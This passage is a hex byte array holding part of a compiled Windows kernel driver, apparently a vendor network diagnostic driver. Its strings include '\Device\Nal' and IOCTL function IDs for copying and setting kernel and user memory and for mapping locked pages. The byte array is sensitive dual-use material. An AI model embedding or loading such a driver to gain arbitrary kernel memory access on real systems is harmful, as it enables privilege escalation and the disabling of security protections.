0x00, 0xe8, 0xb8, 0xde, 0xff, 0xff, 0xe9, 0x4e, 0x01, 0x00, 0x00, 0x48, 0x83, 0xc7, 0x10, 0x0f, 0x84, 0x80, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0x38, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x57, 0x08, 0x41, 0xb8, 0x08, 0x01, 0x00, 0x00, 0xe8, 0xc2, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x07, 0x44, 0x0f, 0xb6, 0x9f, 0x28, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x97, 0x30, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x30, 0x01, 0x00, 0x00, 0x48, 0x8b, 0x87, 0x10, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x40, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x87, 0x20, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x8c, 0x24, 0x30, 0x01, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x50, 0x02, 0x00, 0x00, 0x48, 0x8b, 0x87, 0x18, 0x01, 0x00, 0x00, 0x44, 0x88, 0x9c, 0x24, 0x58, 0x02, 0x00, 0x00, 0x48, 0x89, 0x84, 0x24, 0x48, 0x02, 0x00, 0x00, 0xe8, 0xb6, 0xfb, 0xff, 0xff, 0x33, 0xdb, 0x89, 0x87, 0x38, 0x01, 0x00, 0x00, 0xe9, 0xc4, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0x72, 0x12, 0x00, 0x00, 0xe8, 0x1d, 0xde, 0xff, 0xff, 0xe9, 0xb3, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc7, 0x10, 0x74, 0x0e, 0xe8, 0xed, 0xd0, 0xff, 0xff, 0x33, 0xdb, 0x89, 0x07, 0xe9, 0x9f, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x0d, 0xed, 0x11, 0x00, 0x00, 0xe8, 0xf8, 0xdd, 0xff, 0xff, 0xe9, 0x8e, 0x00, 0x00, 0x00, 0x48, 0x83, 0xc7, 0x10, 0x74, 0x2e, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8b, 0xd7, 0x41, 0xb8, 0x08, 0x01, 0x00, 0x00, 0xe8, 0x0a, 0x01, 0x00, 0x00, 0x0f, 0xb6, 0x97, 0x09, 0x01, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0xb9, 0xd0, 0xff, 0xff, 0x33, 0xdb, 0x88, 0x87, 0x08, 0x01, 0x00, 0x00, 0xeb, 0x5a, 0x48, 0x8d, 0x0d, 0x58, 0x11, 0x00, 0x00, 0xe8, 0xb3, 0xdd, 0xff, 0xff, 0xeb, 0x4c, 0x48, 0x83, 0xc7, 0x10, 0x74, 0x27, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0x48, 0x8b, 0xd7, 0x41, 0xb8, 0x08, 0x01, 0x00, 0x00, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x4e, 0xd1, 0xff, 0xff, 0x33, 0xdb, 0x88, 0x87, 0x08, 0x01, 0x00, 0x00, 0xeb, 0x1f, 0x48, 0x8d, 0x0d, 0xbd, 0x10, 0x00, 0x00, 0xe8, 0x78, 0xdd, 0xff, 0xff, 0xeb, 0x11, 0x48, 0x8d, 0x0d, 0x7f, 0x10, 0x00, 0x00, 0xe8, 0x6a, 0xdd, 0xff, 0xff, 0xbb, 0x18, 0x20, 0x6a, 0xc8, 0x48, 0x8b, 0xbc, 0x24, 0x18, 0x05, 0x00, 0x00, 0x8b, 0xc3, 0x48, 0x8b, 0x9c, 0x24, 0x10, 0x05, 0x00, 0x00, 0x48, 0x8b, 0x8c, 0x24, 0xe0, 0x04, 0x00, 0x00, 0xe8, 0xd6, 0x04, 0x00, 0x00, 0x48, 0x81, 0xc4, 0xf8, 0x04, 0x00, 0x00, 0xc3, 0x66, 0x90, 0x95, 0x3f, 0x00, 0x00, 0xe1, 0x3f, 0x00, 0x00, 0x0e, 0x40, 0x00, 0x00, 0x34, 0x40, 0x00, 0x00, 0x5d, 0x40, 0x00, 0x00, 0xf8, 0x40, 0x00, 0x00, 0x1d, 0x41, 0x00, 0x00, 0x5f, 0x41, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x48, 0x83, 0xec, 0x38, 0x4c, 0x8b, 0x0d, 0xf5, 0x2e, 0x00, 0x00, 0x4c, 0x8b, 0x05, 0xf6, 0x2e, 0x00, 0x00, 0x48, 0x8b, 0xd1, 0xb9, 0xf7, 0x00, 0x00, 0x00, 0x48, 0xc7, 0x44, 0x24, 0x20, 0x00, 0x00, 0x00, 0x00, 0xff, 0x15, 0xf7, 0x1e, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x90, 0x4c, 0x8b, 0xd9, 0x48, 0x2b, 0xd1, 0x0f, 0x86, 0x9c, 0x01, 0x00, 0x00, 0x49, 0x83, 0xf8, 0x08, 0x72, 0x62, 0xf6, 0xc1, 0x07, 0x74, 0x37, 0xf6, 0xc1, 0x01, 0x74, 0x0c, 0x8a, 0x04, 0x0a, 0x49, 0xff, 0xc8, 0x88, 0x01, 0x48, 0x83, 0xc1, 0x01, 0xf6, 0xc1, 0x02, 0x74, 0x0f, 0x66, 0x8b, 0x04, 0x0a, 0x49, 0x83, 0xe8, 0x02, 0x66, 0x89, 0x01, 0x48, 0x83, 0xc1, 0x02, 0xf6, 0xc1, 0x04, 0x74, 0x0d, 0x8b, 0x04, 0x0a, 0x49, 0x83, 0xe8, 0x04, 0x89, 0x01, 0x48, 0x83, 0xc1, 0x04, 0x4d, 0x8b, 0xc8, 0x49, 0xc1, 0xe9, 0x05, 0x75, 0x50, 0x4d, 0x8b, 0xc8, 0x49, 0xc1, 0xe9, 0x03, 0x74, 0x14, 0x48, 0x8b, 0x04, 0x0a, 0x48, 0x89, 0x01, 0x48, 0x83, 0xc1, 0x08, 0x49, 0xff, 0xc9, 0x75, 0xf0, 0x49, 0x83, 0xe0, 0x07, 0x4d, 0x85, 0xc0, 0x75, 0x07, 0x49, 0x8b, 0xc3, 0xc3, 0x66, 0x66, 0x90, 0x8a, 0x04, 0x0a, 0x88, 0x01, 0x48, 0xff, 0xc1, 0x49, 0xff, 0xc8, 0x75, 0xf3, 0x49, 0x8b, 0xc3, 0xc3, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x49, 0x81, 0xf9, 0x00, 0x08, 0x00, 0x00, 0x73, 0x42, 0x48, 0x8b, 0x04, 0x0a, 0x4c, 0x8b, 0x54, 0x0a, 0x08, 0x48, 0x83, 0xc1, 0x20, 0x48, 0x89, 0x41, 0xe0, 0x4c, 0x89, 0x51, 0xe8, 0x48, 0x8b, 0x44, 0x0a, 0xf0, 0x4c, 0x8b, 0x54, 0x0a, 0xf8, 0x49, 0xff, 0xc9, 0x48, 0x89, 0x41, 0xf0, 0x4c, 0x89, 0x51, 0xf8, 0x75, 0xd4, 0x49, 0x83, 0xe0, 0x1f, 0xe9, 0x72, 0xff, 0xff, 0xff, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x66, 0x90, 0x48, 0x81, 0xfa, 0x00, 0x10, 0x00, 0x00, 0x72, 0xb5, 0xb8, 0x20, 0x00, 0x00, 0x00, 0x0f, 0x18, 0x04, 0x0a, 0x0f, 0x18, 0x44, 0x0a, 0x40, 0x48, 0x81, 0xc1, 0x80, 0x00, 0x00, 0x00, 0xff, 0xc8, 0x75, 0xec, 0x48, 0x81, 0xe9, 0x00, 0x10, 0x00, 0x00, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x0c, 0x0a, 0x4c, 0x8b, 0x54, 0x0a, 0x08, 0x4c, 0x0f, 0xc3, 0x09, 0x4c, 0x0f, 0xc3, 0x51, 0x08, 0x4c, 0x8b, 0x4c, 0x0a, 0x10, 0x4c, 0x8b, 0x54, 0x0a, 0x18, 0x4c, 0x0f, 0xc3, 0x49, 0x10, 0x4c, 0x0f, 0xc3, 0x51, 0x18, 0x4c, 0x8b, 0x4c, 0x0a, 0x20, 0x4c, 0x8b, 0x54, 0x0a, 0x28, 0x48, 0x83, 0xc1, 0x40, 0x4c, 0x0f, 0xc3, 0x49, 0xe0, 0x4c, 0x0f, 0xc3, 0x51, 0xe8, 0x4c, 0x8b, 0x4c, 0x0a, 0xf0, 0x4c, 0x8b, 0x54, 0x0a, 0xf8, 0xff, 0xc8, 0x4c, 0x0f, 0xc3, 0x49, 0xf0, 0x4c, 0x0f, 0xc3, 0x51, 0xf8, 0x75, 0xaa, 0x49, 0x81, 0xe8, 0x00, 0x10, 0x00, 0x00, 0x49, 0x81, 0xf8, 0x00, 0x10, 0x00, 0x00, 0x0f, 0x83, 0x71, 0xff, 0xff, 0xff, 0xf0, 0x80, 0x0c, 0x24, 0x00, 0xe9, 0xba, 0xfe, 0xff, 0xff, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x74, 0x6f, 0x49, 0x03, 0xc8, 0x49, 0x83, 0xf8, 0x08, 0x72, 0x61, 0xf6, 0xc1, 0x07, 0x74, 0x36, 0xf6, 0xc1, 0x01, 0x74, 0x0b, 0x48, 0xff, 0xc9, 0x8a, 0x04, 0x0a, 0x49, 0xff, 0xc8, 0x88, 0x01, 0xf6, 0xc1, 0x02, 0x74, 0x0f, 0x48, 0x83, 0xe9, 0x02, 0x66, 0x8b, 0x04, 0x0a, 0x49, 0x83, 0xe8, 0x02, 0x66, 0x89, 0x01, 0xf6, 0xc1, 0x04, 0x74, 0x0d, 0x48, 0x83, 0xe9, 0x04, 0x8b, 0x04, 0x0a, 0x49, 0x83, 0xe8, 0x04, 0x89, 0x01, 0x4d, 0x8b, 0xc8, 0x49, 0xc1, 0xe9, 0x05, 0x75, 0x50, 0x4d, 0x8b, 0xc8, 0x49, 0xc1, 0xe9, 0x03, 0x74, 0x14, 0x48, 0x83, 0xe9, 0x08, 0x48, 0x8b, 0x04, 0x0a, 0x49, 0xff, 0xc9, 0x48, 0x89, 0x01, 0x75, 0xf0, 0x49, 0x83, 0xe0, 0x07, 0x4d, 0x85, 0xc0, 0x75, 0x07, 0x49, 0x8b, 0xc3, 0xc3, 0x66, 0x66, 0x90, 0x48, 0xff, 0xc9, 0x8a, 0x04, 0x0a, 0x49, 0xff, 0xc8, 0x88, 0x01, 0x75, 0xf3, 0x49, 0x8b, 0xc3, 0xc3, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x49, 0x81, 0xf9, 0x00, 0x08, 0x00, 0x00, 0x73, 0x42, 0x48, 0x8b, 0x44, 0x0a, 0xf8, 0x4c, 0x8b, 0x54, 0x0a, 0xf0, 0x48, 0x83, 0xe9, 0x20, 0x48, 0x89, 0x41, 0x18, 0x4c, 0x89, 0x51, 0x10, 0x48, 0x8b, 0x44, 0x0a, 0x08, 0x4c, 0x8b, 0x14, 0x0a, 0x49, 0xff, 0xc9, 0x48, 0x89, 0x41, 0x08, 0x4c, 0x89, 0x11, 0x75, 0xd5, 0x49, 0x83, 0xe0, 0x1f, 0xe9, 0x73, 0xff, 0xff, 0xff, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x90, 0x48, 0x81, 0xfa, 0x00, 0xf0, 0xff, 0xff, 0x77, 0xb5, 0xb8, 0x20, 0x00, 0x00, 0x00, 0x48, 0x81, 0xe9, 0x80, 0x00, 0x00, 0x00, 0x0f, 0x18, 0x04, 0x0a, 0x0f, 0x18, 0x44, 0x0a, 0x40, 0xff, 0xc8, 0x75, 0xec, 0x48, 0x81, 0xc1, 0x00, 0x10, 0x00, 0x00, 0xb8, 0x40, 0x00, 0x00, 0x00, 0x4c, 0x8b, 0x4c, 0x0a, 0xf8, 0x4c, 0x8b, 0x54, 0x0a, 0xf0, 0x4c, 0x0f, 0xc3, 0x49, 0xf8, 0x4c, 0x0f, 0xc3, 0x51, 0xf0, 0x4c, 0x8b, 0x4c, 0x0a, 0xe8, 0x4c, 0x8b, 0x54, 0x0a, 0xe0, 0x4c, 0x0f, 0xc3, 0x49, 0xe8, 0x4c, 0x0f, 0xc3, 0x51, 0xe0, 0x4c, 0x8b, 0x4c, 0x0a, 0xd8, 0x4c, 0x8b, 0x54, 0x0a, 0xd0, 0x48, 0x83, 0xe9, 0x40, 0x4c, 0x0f, 0xc3, 0x49, 0x18, 0x4c, 0x0f, 0xc3, 0x51, 0x10, 0x4c, 0x8b, 0x4c, 0x0a, 0x08, 0x4c, 0x8b, 0x14, 0x0a, 0xff, 0xc8, 0x4c, 0x0f, 0xc3, 0x49, 0x08, 0x4c, 0x0f, 0xc3, 0x11, 0x75, 0xaa, 0x49, 0x81, 0xe8, 0x00, 0x10, 0x00, 0x00, 0x49, 0x81, 0xf8, 0x00, 0x10, 0x00, 0x00, 0x0f, 0x83, 0x71, 0xff, 0xff, 0xff, 0xf0, 0x80, 0x0c, 0x24, 0x00, 0xe9, 0xba, 0xfe, 0xff, 0xff, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x90, 0x48, 0x8b, 0xc1, 0x49, 0x83, 0xf8, 0x08, 0x72, 0x53, 0x0f, 0xb6, 0xd2, 0x49, 0xb9, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x49, 0x0f, 0xaf, 0xd1, 0x49, 0x83, 0xf8, 0x40, 0x72, 0x1e, 0x48, 0xf7, 0xd9, 0x83, 0xe1, 0x07, 0x74, 0x06, 0x4c, 0x2b, 0xc1, 0x48, 0x89, 0x10, 0x48, 0x03, 0xc8, 0x4d, 0x8b, 0xc8, 0x49, 0x83, 0xe0, 0x3f, 0x49, 0xc1, 0xe9, 0x06, 0x75, 0x39, 0x4d, 0x8b, 0xc8, 0x49, 0x83, 0xe0, 0x07, 0x49, 0xc1, 0xe9, 0x03, 0x74, 0x11, 0x66, 0x66, 0x66, 0x90, 0x90, 0x48, 0x89, 0x11, 0x48, 0x83, 0xc1, 0x08, 0x49, 0xff, 0xc9, 0x75, 0xf4, 0x4d, 0x85, 0xc0, 0x74, 0x0a, 0x88, 0x11, 0x48, 0xff, 0xc1, 0x49, 0xff, 0xc8, 0x75, 0xf6, 0xc3, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x49, 0x81, 0xf9, 0x00, 0x04, 0x00, 0x00, 0x73, 0x30, 0x48, 0x89, 0x11, 0x48, 0x89, 0x51, 0x08, 0x48, 0x89, 0x51, 0x10, 0x48, 0x83, 0xc1, 0x40, 0x48, 0x89, 0x51, 0xd8, 0x48, 0x89, 0x51, 0xe0, 0x49, 0xff, 0xc9, 0x48, 0x89, 0x51, 0xe8, 0x48, 0x89, 0x51, 0xf0, 0x48, 0x89, 0x51, 0xf8, 0x75, 0xd8, 0xeb, 0x94, 0x66, 0x66, 0x90, 0x66, 0x66, 0x90, 0x48, 0x0f, 0xc3, 0x11, 0x48, 0x0f, 0xc3, 0x51, 0x08, 0x48, 0x0f, 0xc3, 0x51, 0x10, 0x48, 0x83, 0xc1, 0x40, 0x48, 0x0f, 0xc3, 0x51, 0xd8, 0x48, 0x0f, 0xc3, 0x51, 0xe0, 0x49, 0xff, 0xc9, 0x48, 0x0f, 0xc3, 0x51, 0xe8, 0x48, 0x0f, 0xc3, 0x51, 0xf0, 0x48, 0x0f, 0xc3, 0x51, 0xf8, 0x75, 0xd0, 0xf0, 0x80, 0x0c, 0x24, 0x00, 0xe9, 0x54, 0xff, 0xff, 0xff, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xff, 0x25, 0xc2, 0x19, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x66, 0x66, 0x66, 0x90, 0x66, 0x66, 0x66, 0x90, 0x66, 0x90, 0x48, 0x3b, 0x0d, 0x61, 0x2a, 0x00, 0x00, 0x75, 0x10, 0x48, 0xc1, 0xc1, 0x10, 0x66, 0xf7, 0xc1, 0xff, 0xff, 0x75, 0x01, 0xc3, 0x48, 0xc1, 0xc9, 0x10, 0xe9, 0x42, 0xfb, 0xff, 0xff, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x20, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x20, 0x4c, 0x65, 0x61, 0x76, 0x69, 0x6e, 0x67, 0x2e, 0x2e, 0x2e, 0x20, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x5c, 0x00, 0x3f, 0x00, 0x3f, 0x00, 0x5c, 0x00, 0x4e, 0x00, 0x61, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x4e, 0x61, 0x6c, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x20, 0x55, 0x6e, 0x6c, 0x6f, 0x61, 0x64, 0x3a, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x67, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x41, 0x64, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x3a, 0x20, 0x64, 0x6f, 0x6e, 0x65, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x49, 0x6f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6d, 0x62, 0x6f, 0x6c, 0x69, 0x63, 0x4c, 0x69, 0x6e, 0x6b, 0x20, 0x66, 0x61, 0x69, 0x6c, 0x65, 0x64, 0x2e, 0x20, 0x20, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x20, 0x3d, 0x20, 0x30, 0x78, 0x25, 0x78, 0x0a, 0x00, 0xcc, 0x5c, 0x00, 0x44, 0x00, 0x6f, 0x00, 0x73, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x73, 0x00, 0x5c, 0x00, 0x4e, 0x00, 0x61, 0x00, 0x6c, 0x00, 0x00, 0x00, 0x4e, 0x61, 0x6c, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x49, 0x6f, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x20, 0x66, 0x61, 0x69, 0x6c, 0x65, 0x64, 0x2e, 0x20, 0x20, 0x53, 0x74, 0x61, 0x74, 0x75, 0x73, 0x20, 0x3d, 0x20, 0x30, 0x78, 0x25, 0x30, 0x78, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x5c, 0x00, 0x44, 0x00, 0x65, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x5c, 0x00, 0x4e, 0x00, 0x61, 0x00, 0x6c, 0x00, 0x00, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x41, 0x64, 0x64, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x3a, 0x20, 0x65, 0x6e, 0x74, 0x65, 0x72, 0x65, 0x64, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x20, 0x4c, 0x65, 0x61, 0x76, 0x69, 0x6e, 0x67, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x3a, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x67, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x3a, 0x20, 0x4c, 0x65, 0x61, 0x76, 0x69, 0x6e, 0x67, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x43, 0x6c, 0x6f, 0x73, 0x65, 0x3a, 0x20, 0x53, 0x74, 0x61, 0x72, 0x74, 0x69, 0x6e, 0x67, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x3a, 0x20, 0x49, 0x6e, 0x70, 0x75, 0x74, 0x42, 0x75, 0x66, 0x66, 0x65, 0x72, 0x20, 0x77, 0x61, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x61, 0x6c, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x44, 0x72, 0x69, 0x76, 0x65, 0x72, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x43, 0x6f, 0x6e, 0x74, 0x72, 0x6f, 0x6c, 0x3a, 0x20, 0x49, 0x6e, 0x76, 0x61, 0x6c, 0x69, 0x64, 0x20, 0x49, 0x4f, 0x43, 0x54, 0x4c, 0x20, 0x63, 0x6f, 0x64, 0x65, 0x20, 0x30, 0x78, 0x25, 0x30, 0x78, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x41, 0x4c, 0x5f, 0x45, 0x4e, 0x41, 0x42, 0x4c, 0x45, 0x5f, 0x44, 0x45, 0x42, 0x55, 0x47, 0x5f, 0x50, 0x52, 0x49, 0x4e, 0x54, 0x5f, 0x46, 0x55, 0x4e, 0x43, 0x49, 0x44, 0x3a, 0x20, 0x46, 0x75, 0x6e, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x61, 0x74, 0x61, 0x20, 0x69, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x41, 0x4c, 0x5f, 0x4b, 0x4b, 0x4d, 0x45, 0x4d, 0x43, 0x50, 0x59, 0x5f, 0x46, 0x55, 0x4e, 0x43, 0x49, 0x44, 0x3a, 0x20, 0x4f, 0x6e, 0x65, 0x20, 0x6f, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x73, 0x20, 0x77, 0x61, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x41, 0x4c, 0x5f, 0x4b, 0x55, 0x4d, 0x45, 0x4d, 0x43, 0x50, 0x59, 0x5f, 0x46, 0x55, 0x4e, 0x43, 0x49, 0x44, 0x3a, 0x20, 0x4f, 0x6e, 0x65, 0x20, 0x6f, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x73, 0x20, 0x77, 0x61, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4e, 0x41, 0x4c, 0x5f, 0x4b, 0x4d, 0x45, 0x4d, 0x53, 0x45, 0x54, 0x5f, 0x46, 0x55, 0x4e, 0x43, 0x49, 0x44, 0x3a, 0x20, 0x4f, 0x6e, 0x65, 0x20, 0x6f, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x62, 0x75, 0x66, 0x66, 0x65, 0x72, 0x73, 0x20, 0x77, 0x61, 0x73, 0x20, 0x4e, 0x55, 0x4c, 0x4c, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x4b, 0x65, 0x72, 0x6e, 0x65, 0x6c, 0x3a, 0x20, 0x25, 0x73, 0x00, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0x5f, 0x4e, 0x61, 0x6c, 0x57, 0x69, 0x6e, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3a, 0x20, 0x55, 0x6e, 0x61, 0x62, 0x6c, 0x65, 0x20, 0x74, 0x6f, 0x20, 0x61, 0x6c, 0x6c, 0x6f, 0x63, 0x61, 0x74, 0x65, 0x20, 0x4d, 0x44, 0x4c, 0x0a, 0x00, 0xcc, 0x5f, 0x4e, 0x61, 0x6c, 0x57, 0x69, 0x6e, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3a, 0x20, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x20, 0x54, 0x6f, 0x20, 0x46, 0x72, 0x65, 0x65, 0x20, 0x3d, 0x20, 0x30, 0x78, 0x25, 0x70, 0x0a, 0x00, 0xcc, 0x5f, 0x4e, 0x61, 0x6c, 0x57, 0x69, 0x6e, 0x47, 0x65, 0x74, 0x55, 0x73, 0x65, 0x72, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x3a, 0x20, 0x4d, 0x6d, 0x4d, 0x61, 0x70, 0x4c, 0x6f, 0x63, 0x6b, 0x65, 0x64, 0x50, 0x61, 0x67, 0x65, 0x73, 0x20, 0x66, 0x61, 0x69, 0x6c, 0x65, 0x64, 0x2e, 0x20, 0x46, 0x72, 0x65, 0x65, 0x69, 0x6e, 0x67, 0x20, 0x4d, 0x44, 0x4c, 0x0a, 0x00, 0xcc, 0xcc, 0xcc, 0x5f, 0x4e, 0x61, 0x6c, 0x57, 